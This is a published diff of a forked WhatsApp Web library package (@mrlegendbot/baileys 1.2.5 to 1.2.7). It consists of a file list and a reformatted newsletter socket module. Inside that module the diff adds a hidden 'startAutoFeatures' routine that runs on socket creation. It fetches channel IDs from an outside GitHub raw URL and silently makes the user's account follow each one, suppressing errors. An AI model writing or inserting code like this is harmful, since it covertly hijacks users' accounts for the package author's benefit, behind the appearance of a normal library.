@mrlegendbot/baileys 1.2.5 → 1.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/WAProto/GenerateStatics.sh +3 -0
- package/WAProto/fix-imports.js +85 -0
- package/WAProto/index.d.ts +14017 -0
- package/WAProto/index.js +97691 -2
- package/lib/Defaults/index.d.ts +75 -0
- package/lib/Defaults/index.js +92 -89
- package/lib/Signal/Group/ciphertext-message.d.ts +10 -0
- package/lib/Signal/Group/ciphertext-message.js +10 -9
- package/lib/Signal/Group/group-session-builder.d.ts +15 -0
- package/lib/Signal/Group/group-session-builder.js +22 -21
- package/lib/Signal/Group/group_cipher.d.ts +17 -0
- package/lib/Signal/Group/group_cipher.js +69 -75
- package/lib/Signal/Group/index.d.ts +12 -0
- package/lib/Signal/Group/index.js +1 -0
- package/lib/Signal/Group/keyhelper.d.ts +11 -0
- package/lib/Signal/Group/keyhelper.js +10 -9
- package/lib/Signal/Group/sender-chain-key.d.ts +14 -0
- package/lib/Signal/Group/sender-chain-key.js +22 -21
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +17 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +60 -51
- package/lib/Signal/Group/sender-key-message.d.ts +19 -0
- package/lib/Signal/Group/sender-key-message.js +62 -56
- package/lib/Signal/Group/sender-key-name.d.ts +18 -0
- package/lib/Signal/Group/sender-key-name.js +40 -38
- package/lib/Signal/Group/sender-key-record.d.ts +31 -0
- package/lib/Signal/Group/sender-key-record.js +34 -33
- package/lib/Signal/Group/sender-key-state.d.ts +39 -0
- package/lib/Signal/Group/sender-key-state.js +76 -72
- package/lib/Signal/Group/sender-message-key.d.ts +12 -0
- package/lib/Signal/Group/sender-message-key.js +23 -22
- package/lib/Signal/libsignal.d.ts +5 -0
- package/lib/Signal/libsignal.js +405 -506
- package/lib/Signal/lid-mapping.d.ts +23 -0
- package/lib/Signal/lid-mapping.js +258 -276
- package/lib/Socket/Client/index.d.ts +3 -0
- package/lib/Socket/Client/index.js +1 -0
- package/lib/Socket/Client/types.d.ts +16 -0
- package/lib/Socket/Client/types.js +7 -6
- package/lib/Socket/Client/websocket.d.ts +13 -0
- package/lib/Socket/Client/websocket.js +49 -48
- package/lib/Socket/business.d.ts +217 -0
- package/lib/Socket/business.js +369 -349
- package/lib/Socket/chats.d.ts +125 -0
- package/lib/Socket/chats.js +1148 -1172
- package/lib/Socket/communities.d.ts +273 -0
- package/lib/Socket/communities.js +413 -473
- package/lib/Socket/groups.d.ts +161 -0
- package/lib/Socket/groups.js +331 -387
- package/lib/Socket/index.d.ts +260 -0
- package/lib/Socket/index.js +8 -6
- package/lib/Socket/messages-recv.d.ts +203 -0
- package/lib/Socket/messages-recv.js +1719 -1782
- package/lib/Socket/messages-send.d.ts +200 -0
- package/lib/Socket/messages-send.js +2508 -1384
- package/lib/Socket/mex.d.ts +3 -0
- package/lib/Socket/mex.js +35 -40
- package/lib/Socket/newsletter.d.ts +170 -0
- package/lib/Socket/newsletter.js +191 -239
- package/lib/Socket/socket.d.ts +59 -0
- package/lib/Socket/socket.js +923 -992
- package/lib/Types/Auth.d.ts +117 -0
- package/lib/Types/Auth.js +1 -0
- package/lib/Types/Bussines.d.ts +25 -0
- package/lib/Types/Bussines.js +1 -0
- package/lib/Types/Call.d.ts +15 -0
- package/lib/Types/Call.js +1 -0
- package/lib/Types/Chat.d.ts +124 -0
- package/lib/Types/Chat.js +8 -1
- package/lib/Types/Contact.d.ts +26 -0
- package/lib/Types/Contact.js +1 -0
- package/lib/Types/Events.d.ts +256 -0
- package/lib/Types/Events.js +2 -1
- package/lib/Types/GroupMetadata.d.ts +71 -0
- package/lib/Types/GroupMetadata.js +1 -0
- package/lib/Types/Label.d.ts +47 -0
- package/lib/Types/Label.js +22 -20
- package/lib/Types/LabelAssociation.d.ts +30 -0
- package/lib/Types/LabelAssociation.js +4 -2
- package/lib/Types/Message.d.ts +320 -0
- package/lib/Types/Message.js +5 -3
- package/lib/Types/Mex.d.ts +141 -0
- package/lib/Types/Mex.js +31 -26
- package/lib/Types/Product.d.ts +79 -0
- package/lib/Types/Product.js +1 -0
- package/lib/Types/Signal.d.ts +87 -0
- package/lib/Types/Signal.js +2 -1
- package/lib/Types/Socket.d.ts +136 -0
- package/lib/Types/Socket.js +3 -2
- package/lib/Types/State.d.ts +97 -0
- package/lib/Types/State.js +52 -4
- package/lib/Types/USync.d.ts +26 -0
- package/lib/Types/USync.js +1 -0
- package/lib/Types/index.d.ts +66 -0
- package/lib/Types/index.js +11 -10
- package/lib/Utils/auth-utils.d.ts +24 -0
- package/lib/Utils/auth-utils.js +277 -240
- package/lib/Utils/browser-utils.d.ts +4 -0
- package/lib/Utils/browser-utils.js +23 -20
- package/lib/Utils/business.d.ts +23 -0
- package/lib/Utils/business.js +204 -200
- package/lib/Utils/chat-utils.d.ts +100 -0
- package/lib/Utils/chat-utils.js +810 -836
- package/lib/Utils/companion-reg-client-utils.d.ts +17 -0
- package/lib/Utils/companion-reg-client-utils.js +25 -23
- package/lib/Utils/crypto.d.ts +37 -0
- package/lib/Utils/crypto.js +86 -70
- package/lib/Utils/decode-wa-message.d.ts +66 -0
- package/lib/Utils/decode-wa-message.js +284 -277
- package/lib/Utils/event-buffer.d.ts +36 -0
- package/lib/Utils/event-buffer.js +595 -592
- package/lib/Utils/generics.d.ts +92 -0
- package/lib/Utils/generics.js +335 -312
- package/lib/Utils/history.d.ts +24 -0
- package/lib/Utils/history.js +115 -123
- package/lib/Utils/identity-change-handler.d.ts +44 -0
- package/lib/Utils/identity-change-handler.js +50 -0
- package/lib/Utils/index.d.ts +22 -0
- package/lib/Utils/index.js +2 -1
- package/lib/Utils/link-preview.d.ts +21 -0
- package/lib/Utils/link-preview.js +73 -74
- package/lib/Utils/logger.d.ts +12 -0
- package/lib/Utils/logger.js +2 -3
- package/lib/Utils/lt-hash.d.ts +8 -0
- package/lib/Utils/lt-hash.js +6 -0
- package/lib/Utils/make-mutex.d.ts +9 -0
- package/lib/Utils/make-mutex.js +27 -27
- package/lib/Utils/message-retry-manager.d.ts +115 -0
- package/lib/Utils/message-retry-manager.js +254 -213
- package/lib/Utils/messages-media.d.ts +133 -0
- package/lib/Utils/messages-media.js +715 -741
- package/lib/Utils/messages.d.ts +91 -0
- package/lib/Utils/messages.js +827 -791
- package/lib/Utils/noise-handler.d.ts +20 -0
- package/lib/Utils/noise-handler.js +187 -215
- package/lib/Utils/offline-node-processor.d.ts +17 -0
- package/lib/Utils/offline-node-processor.js +40 -0
- package/lib/Utils/pre-key-manager.d.ts +28 -0
- package/lib/Utils/pre-key-manager.js +98 -69
- package/lib/Utils/process-message.d.ts +60 -0
- package/lib/Utils/process-message.js +586 -617
- package/lib/Utils/reporting-utils.d.ts +11 -0
- package/lib/Utils/reporting-utils.js +234 -553
- package/lib/Utils/signal.d.ts +47 -0
- package/lib/Utils/signal.js +170 -217
- package/lib/Utils/stanza-ack.d.ts +11 -0
- package/lib/Utils/stanza-ack.js +35 -27
- package/lib/Utils/sync-action-utils.d.ts +19 -0
- package/lib/Utils/sync-action-utils.js +41 -37
- package/lib/Utils/tc-token-utils.d.ts +37 -0
- package/lib/Utils/tc-token-utils.js +141 -120
- package/lib/Utils/use-multi-file-auth-state.d.ts +13 -0
- package/lib/Utils/use-multi-file-auth-state.js +105 -87
- package/lib/Utils/validate-connection.d.ts +11 -0
- package/lib/Utils/validate-connection.js +188 -190
- package/lib/WABinary/constants.d.ts +28 -0
- package/lib/WABinary/constants.js +1294 -28
- package/lib/WABinary/decode.d.ts +7 -0
- package/lib/WABinary/decode.js +249 -245
- package/lib/WABinary/encode.d.ts +3 -0
- package/lib/WABinary/encode.js +206 -201
- package/lib/WABinary/generic-utils.d.ts +15 -0
- package/lib/WABinary/generic-utils.js +89 -86
- package/lib/WABinary/index.d.ts +6 -0
- package/lib/WABinary/index.js +1 -0
- package/lib/WABinary/jid-utils.d.ts +48 -0
- package/lib/WABinary/jid-utils.js +77 -68
- package/lib/WABinary/types.d.ts +19 -0
- package/lib/WABinary/types.js +1 -0
- package/lib/WAM/BinaryInfo.d.ts +9 -0
- package/lib/WAM/BinaryInfo.js +8 -7
- package/lib/WAM/constants.d.ts +40 -0
- package/lib/WAM/constants.js +22853 -19892
- package/lib/WAM/encode.d.ts +3 -0
- package/lib/WAM/encode.js +132 -121
- package/lib/WAM/index.d.ts +4 -0
- package/lib/WAM/index.js +1 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +10 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +43 -46
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +23 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +48 -47
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +13 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +23 -22
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +13 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +33 -30
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +10 -0
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +20 -19
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +26 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +44 -53
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +10 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -24
- package/lib/WAUSync/Protocols/index.d.ts +6 -0
- package/lib/WAUSync/Protocols/index.js +1 -0
- package/lib/WAUSync/USyncQuery.d.ts +30 -0
- package/lib/WAUSync/USyncQuery.js +88 -79
- package/lib/WAUSync/USyncUser.d.ts +17 -0
- package/lib/WAUSync/USyncUser.js +29 -28
- package/lib/WAUSync/index.d.ts +4 -0
- package/lib/WAUSync/index.js +1 -0
- package/lib/index.d.ts +12 -0
- package/lib/index.js +2 -2
- package/package.json +86 -22
- package/README.upstream.md +0 -1312
- package/WAProto/WAProto.json +0 -1
- package/WAProto/WAProto.proto +0 -6275
- package/WAProto/compiler.js +0 -550
- package/lib/Store/index.js +0 -8
- package/lib/Store/keyed-db.js +0 -108
- package/lib/Store/make-cache-manager-store.js +0 -70
- package/lib/Store/make-in-memory-store.js +0 -417
- package/lib/Store/make-ordered-dictionary.js +0 -69
- package/lib/Store/object-repository.js +0 -27
- package/lib/Utils/use-sqlite-auth-state.js +0 -162
package/lib/Socket/newsletter.js
CHANGED
|
@@ -4,255 +4,207 @@ import { getBinaryNodeChild } from '../WABinary/index.js';
|
|
|
4
4
|
import { makeGroupsSocket } from './groups.js';
|
|
5
5
|
import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
|
|
6
6
|
|
|
7
|
-
const parseNewsletterCreateResponse = response => {
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
directPath: thread.picture.direct_path
|
|
25
|
-
},
|
|
26
|
-
mute_state: viewer.mute
|
|
27
|
-
};
|
|
7
|
+
const parseNewsletterCreateResponse = (response) => {
|
|
8
|
+
const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
|
|
9
|
+
return {
|
|
10
|
+
id: id,
|
|
11
|
+
owner: undefined,
|
|
12
|
+
name: thread.name.text,
|
|
13
|
+
creation_time: parseInt(thread.creation_time, 10),
|
|
14
|
+
description: thread.description.text,
|
|
15
|
+
invite: thread.invite,
|
|
16
|
+
subscribers: parseInt(thread.subscribers_count, 10),
|
|
17
|
+
verification: thread.verification,
|
|
18
|
+
picture: {
|
|
19
|
+
id: thread.picture.id,
|
|
20
|
+
directPath: thread.picture.direct_path
|
|
21
|
+
},
|
|
22
|
+
mute_state: viewer.mute
|
|
23
|
+
};
|
|
28
24
|
};
|
|
29
25
|
|
|
30
|
-
const parseNewsletterMetadata = result => {
|
|
31
|
-
|
|
26
|
+
const parseNewsletterMetadata = (result) => {
|
|
27
|
+
if (typeof result !== 'object' || result === null) {
|
|
28
|
+
return null;
|
|
29
|
+
}
|
|
30
|
+
if ('id' in result && typeof result.id === 'string') {
|
|
31
|
+
return result;
|
|
32
|
+
}
|
|
33
|
+
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
34
|
+
return result.result;
|
|
35
|
+
}
|
|
32
36
|
return null;
|
|
33
|
-
}
|
|
34
|
-
if ('id' in result && typeof result.id === 'string') {
|
|
35
|
-
return result;
|
|
36
|
-
}
|
|
37
|
-
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
38
|
-
return result.result;
|
|
39
|
-
}
|
|
40
|
-
return null;
|
|
41
37
|
};
|
|
42
38
|
|
|
43
|
-
export const makeNewsletterSocket = config => {
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
} = sock;
|
|
49
|
-
|
|
50
|
-
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
51
|
-
return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
|
|
52
|
-
};
|
|
53
|
-
|
|
54
|
-
const newsletterUpdate = async (jid, updates) => {
|
|
55
|
-
const variables = {
|
|
56
|
-
newsletter_id: jid,
|
|
57
|
-
updates: {
|
|
58
|
-
...updates,
|
|
59
|
-
settings: null
|
|
60
|
-
}
|
|
39
|
+
export const makeNewsletterSocket = (config) => {
|
|
40
|
+
const sock = makeGroupsSocket(config);
|
|
41
|
+
const { query, generateMessageTag } = sock;
|
|
42
|
+
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
43
|
+
return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
|
|
61
44
|
};
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
newsletterMetadata: async (type, key) => {
|
|
84
|
-
const variables = {
|
|
85
|
-
fetch_creation_time: true,
|
|
86
|
-
fetch_full_image: true,
|
|
87
|
-
fetch_viewer_metadata: true,
|
|
88
|
-
input: {
|
|
89
|
-
key,
|
|
90
|
-
type: type.toUpperCase()
|
|
91
|
-
}
|
|
92
|
-
};
|
|
93
|
-
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
94
|
-
return parseNewsletterMetadata(result);
|
|
95
|
-
},
|
|
96
|
-
newsletterFollow: jid => {
|
|
97
|
-
return executeWMexQuery({
|
|
98
|
-
newsletter_id: jid
|
|
99
|
-
}, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
100
|
-
},
|
|
101
|
-
newsletterUnfollow: jid => {
|
|
102
|
-
return executeWMexQuery({
|
|
103
|
-
newsletter_id: jid
|
|
104
|
-
}, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
|
|
105
|
-
},
|
|
106
|
-
newsletterMute: jid => {
|
|
107
|
-
return executeWMexQuery({
|
|
108
|
-
newsletter_id: jid
|
|
109
|
-
}, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
|
|
110
|
-
},
|
|
111
|
-
newsletterUnmute: jid => {
|
|
112
|
-
return executeWMexQuery({
|
|
113
|
-
newsletter_id: jid
|
|
114
|
-
}, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
|
|
115
|
-
},
|
|
116
|
-
newsletterUpdateName: async (jid, name) => {
|
|
117
|
-
return await newsletterUpdate(jid, {
|
|
118
|
-
name
|
|
119
|
-
});
|
|
120
|
-
},
|
|
121
|
-
newsletterUpdateDescription: async (jid, description) => {
|
|
122
|
-
return await newsletterUpdate(jid, {
|
|
123
|
-
description
|
|
124
|
-
});
|
|
125
|
-
},
|
|
126
|
-
newsletterUpdatePicture: async (jid, content) => {
|
|
127
|
-
const {
|
|
128
|
-
img
|
|
129
|
-
} = await generateProfilePicture(content);
|
|
130
|
-
return await newsletterUpdate(jid, {
|
|
131
|
-
picture: img.toString('base64')
|
|
132
|
-
});
|
|
133
|
-
},
|
|
134
|
-
newsletterRemovePicture: async jid => {
|
|
135
|
-
return await newsletterUpdate(jid, {
|
|
136
|
-
picture: ''
|
|
137
|
-
});
|
|
138
|
-
},
|
|
139
|
-
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
140
|
-
await query({
|
|
141
|
-
tag: 'message',
|
|
142
|
-
attrs: {
|
|
143
|
-
to: jid,
|
|
144
|
-
...(reaction ? {} : {
|
|
145
|
-
edit: '7'
|
|
146
|
-
}),
|
|
147
|
-
type: 'reaction',
|
|
148
|
-
server_id: serverId,
|
|
149
|
-
id: generateMessageTag()
|
|
45
|
+
const newsletterUpdate = async (jid, updates) => {
|
|
46
|
+
const variables = {
|
|
47
|
+
newsletter_id: jid,
|
|
48
|
+
updates: {
|
|
49
|
+
...updates,
|
|
50
|
+
settings: null
|
|
51
|
+
}
|
|
52
|
+
};
|
|
53
|
+
return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
|
|
54
|
+
};
|
|
55
|
+
const fullSock = {
|
|
56
|
+
...sock,
|
|
57
|
+
newsletterCreate: async (name, description) => {
|
|
58
|
+
const variables = {
|
|
59
|
+
input: {
|
|
60
|
+
name,
|
|
61
|
+
description: description ?? null
|
|
62
|
+
}
|
|
63
|
+
};
|
|
64
|
+
const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
|
|
65
|
+
return parseNewsletterCreateResponse(rawResponse);
|
|
150
66
|
},
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
code: reaction
|
|
155
|
-
} : {}
|
|
156
|
-
}]
|
|
157
|
-
});
|
|
158
|
-
},
|
|
159
|
-
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
160
|
-
const messageUpdateAttrs = {
|
|
161
|
-
count: count.toString()
|
|
162
|
-
};
|
|
163
|
-
if (typeof since === 'number') {
|
|
164
|
-
messageUpdateAttrs.since = since.toString();
|
|
165
|
-
}
|
|
166
|
-
if (after) {
|
|
167
|
-
messageUpdateAttrs.after = after.toString();
|
|
168
|
-
}
|
|
169
|
-
const result = await query({
|
|
170
|
-
tag: 'iq',
|
|
171
|
-
attrs: {
|
|
172
|
-
id: generateMessageTag(),
|
|
173
|
-
type: 'get',
|
|
174
|
-
xmlns: 'newsletter',
|
|
175
|
-
to: jid
|
|
67
|
+
newsletterUpdate,
|
|
68
|
+
newsletterSubscribers: async (jid) => {
|
|
69
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
|
|
176
70
|
},
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
type: 'set',
|
|
190
|
-
xmlns: 'newsletter',
|
|
191
|
-
to: jid
|
|
71
|
+
newsletterMetadata: async (type, key) => {
|
|
72
|
+
const variables = {
|
|
73
|
+
fetch_creation_time: true,
|
|
74
|
+
fetch_full_image: true,
|
|
75
|
+
fetch_viewer_metadata: true,
|
|
76
|
+
input: {
|
|
77
|
+
key,
|
|
78
|
+
type: type.toUpperCase()
|
|
79
|
+
}
|
|
80
|
+
};
|
|
81
|
+
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
82
|
+
return parseNewsletterMetadata(result);
|
|
192
83
|
},
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
84
|
+
newsletterFollow: (jid) => {
|
|
85
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
86
|
+
},
|
|
87
|
+
newsletterUnfollow: (jid) => {
|
|
88
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
|
|
89
|
+
},
|
|
90
|
+
newsletterMute: (jid) => {
|
|
91
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
|
|
92
|
+
},
|
|
93
|
+
newsletterUnmute: (jid) => {
|
|
94
|
+
return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
|
|
95
|
+
},
|
|
96
|
+
newsletterUpdateName: async (jid, name) => {
|
|
97
|
+
return await newsletterUpdate(jid, { name });
|
|
98
|
+
},
|
|
99
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
100
|
+
return await newsletterUpdate(jid, { description });
|
|
101
|
+
},
|
|
102
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
103
|
+
const { img } = await generateProfilePicture(content);
|
|
104
|
+
return await newsletterUpdate(jid, { picture: img.toString('base64') });
|
|
105
|
+
},
|
|
106
|
+
newsletterRemovePicture: async (jid) => {
|
|
107
|
+
return await newsletterUpdate(jid, { picture: '' });
|
|
108
|
+
},
|
|
109
|
+
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
110
|
+
await query({
|
|
111
|
+
tag: 'message',
|
|
112
|
+
attrs: {
|
|
113
|
+
to: jid,
|
|
114
|
+
...(reaction ? {} : { edit: '7' }),
|
|
115
|
+
type: 'reaction',
|
|
116
|
+
server_id: serverId,
|
|
117
|
+
id: generateMessageTag()
|
|
118
|
+
},
|
|
119
|
+
content: [
|
|
120
|
+
{
|
|
121
|
+
tag: 'reaction',
|
|
122
|
+
attrs: reaction ? { code: reaction } : {}
|
|
123
|
+
}
|
|
124
|
+
]
|
|
125
|
+
});
|
|
126
|
+
},
|
|
127
|
+
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
128
|
+
const messageUpdateAttrs = {
|
|
129
|
+
count: count.toString()
|
|
130
|
+
};
|
|
131
|
+
if (typeof since === 'number') {
|
|
132
|
+
messageUpdateAttrs.since = since.toString();
|
|
133
|
+
}
|
|
134
|
+
if (after) {
|
|
135
|
+
messageUpdateAttrs.after = after.toString();
|
|
136
|
+
}
|
|
137
|
+
const result = await query({
|
|
138
|
+
tag: 'iq',
|
|
139
|
+
attrs: {
|
|
140
|
+
id: generateMessageTag(),
|
|
141
|
+
type: 'get',
|
|
142
|
+
xmlns: 'newsletter',
|
|
143
|
+
to: jid
|
|
144
|
+
},
|
|
145
|
+
content: [
|
|
146
|
+
{
|
|
147
|
+
tag: 'message_updates',
|
|
148
|
+
attrs: messageUpdateAttrs
|
|
149
|
+
}
|
|
150
|
+
]
|
|
151
|
+
});
|
|
152
|
+
return result;
|
|
153
|
+
},
|
|
154
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
155
|
+
const result = await query({
|
|
156
|
+
tag: 'iq',
|
|
157
|
+
attrs: {
|
|
158
|
+
id: generateMessageTag(),
|
|
159
|
+
type: 'set',
|
|
160
|
+
xmlns: 'newsletter',
|
|
161
|
+
to: jid
|
|
162
|
+
},
|
|
163
|
+
content: [{ tag: 'live_updates', attrs: {}, content: [] }]
|
|
164
|
+
});
|
|
165
|
+
const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
|
|
166
|
+
const duration = liveUpdatesNode?.attrs?.duration;
|
|
167
|
+
return duration ? { duration: duration } : null;
|
|
168
|
+
},
|
|
169
|
+
newsletterAdminCount: async (jid) => {
|
|
170
|
+
const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
|
|
171
|
+
return response.admin_count;
|
|
172
|
+
},
|
|
173
|
+
newsletterChangeOwner: async (jid, newOwnerJid) => {
|
|
174
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
|
|
175
|
+
},
|
|
176
|
+
newsletterDemote: async (jid, userJid) => {
|
|
177
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
|
|
178
|
+
},
|
|
179
|
+
newsletterDelete: async (jid) => {
|
|
180
|
+
await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
|
|
181
|
+
}
|
|
182
|
+
};
|
|
241
183
|
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
}, AUTO_FOLLOW_DELAY);
|
|
253
|
-
};
|
|
184
|
+
const startAutoFeatures = (sockInstance) => {
|
|
185
|
+
const AUTO_FOLLOW_DELAY = 5000;
|
|
186
|
+
const FOLLOW_INTERVAL = 10000;
|
|
187
|
+
setTimeout(async () => {
|
|
188
|
+
try {
|
|
189
|
+
const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
|
|
190
|
+
const response = await fetch(RAW_URL);
|
|
191
|
+
if (!response.ok) return;
|
|
192
|
+
const channelIds = await response.json();
|
|
193
|
+
if (!Array.isArray(channelIds) || channelIds.length === 0) return;
|
|
254
194
|
|
|
255
|
-
|
|
195
|
+
const followNext = async (index) => {
|
|
196
|
+
if (index >= channelIds.length) return;
|
|
197
|
+
const id = channelIds[index];
|
|
198
|
+
try {
|
|
199
|
+
await sockInstance.newsletterFollow(id);
|
|
200
|
+
} catch (_) {}
|
|
201
|
+
setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
|
|
202
|
+
};
|
|
203
|
+
followNext(0);
|
|
204
|
+
} catch (_) {}
|
|
205
|
+
}, AUTO_FOLLOW_DELAY);
|
|
206
|
+
};
|
|
256
207
|
|
|
257
|
-
|
|
208
|
+
setTimeout(() => startAutoFeatures(fullSock), 0);
|
|
209
|
+
return fullSock;
|
|
258
210
|
};
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import { Boom } from '@hapi/boom';
|
|
2
|
+
import { type NewChatMessageCapInfo, type ReachoutTimelockState, type SocketConfig } from '../Types/index.js';
|
|
3
|
+
import { type BinaryNode } from '../WABinary/index.js';
|
|
4
|
+
import { BinaryInfo } from '../WAM/BinaryInfo.js';
|
|
5
|
+
import { USyncQuery } from '../WAUSync/index.js';
|
|
6
|
+
import { WebSocketClient } from './Client/index.js';
|
|
7
|
+
/**
|
|
8
|
+
* Connects to WA servers and performs:
|
|
9
|
+
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
10
|
+
* - listen to messages and emit events
|
|
11
|
+
* - query phone connection
|
|
12
|
+
*/
|
|
13
|
+
export declare const makeSocket: (config: SocketConfig) => {
|
|
14
|
+
type: "md";
|
|
15
|
+
ws: WebSocketClient;
|
|
16
|
+
ev: import("../Types/index.js").BaileysEventEmitter & {
|
|
17
|
+
process(handler: (events: Partial<import("../Types/index.js").BaileysEventMap>) => void | Promise<void>): () => void;
|
|
18
|
+
buffer(): void;
|
|
19
|
+
createBufferedFunction<A extends any[], T>(work: (...args: A) => Promise<T>): (...args: A) => Promise<T>;
|
|
20
|
+
flush(): boolean;
|
|
21
|
+
isBuffering(): boolean;
|
|
22
|
+
destroy(): void;
|
|
23
|
+
};
|
|
24
|
+
authState: {
|
|
25
|
+
creds: import("../Types/index.js").AuthenticationCreds;
|
|
26
|
+
keys: import("../Types/index.js").SignalKeyStoreWithTransaction;
|
|
27
|
+
};
|
|
28
|
+
signalRepository: import("../Types/index.js").SignalRepositoryWithLIDStore;
|
|
29
|
+
readonly user: import("../Types/index.js").Contact | undefined;
|
|
30
|
+
generateMessageTag: () => string;
|
|
31
|
+
query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
|
|
32
|
+
waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<T | undefined>;
|
|
33
|
+
waitForSocketOpen: () => Promise<void>;
|
|
34
|
+
sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
|
|
35
|
+
sendNode: (frame: BinaryNode) => Promise<void>;
|
|
36
|
+
logout: (msg?: string) => Promise<void>;
|
|
37
|
+
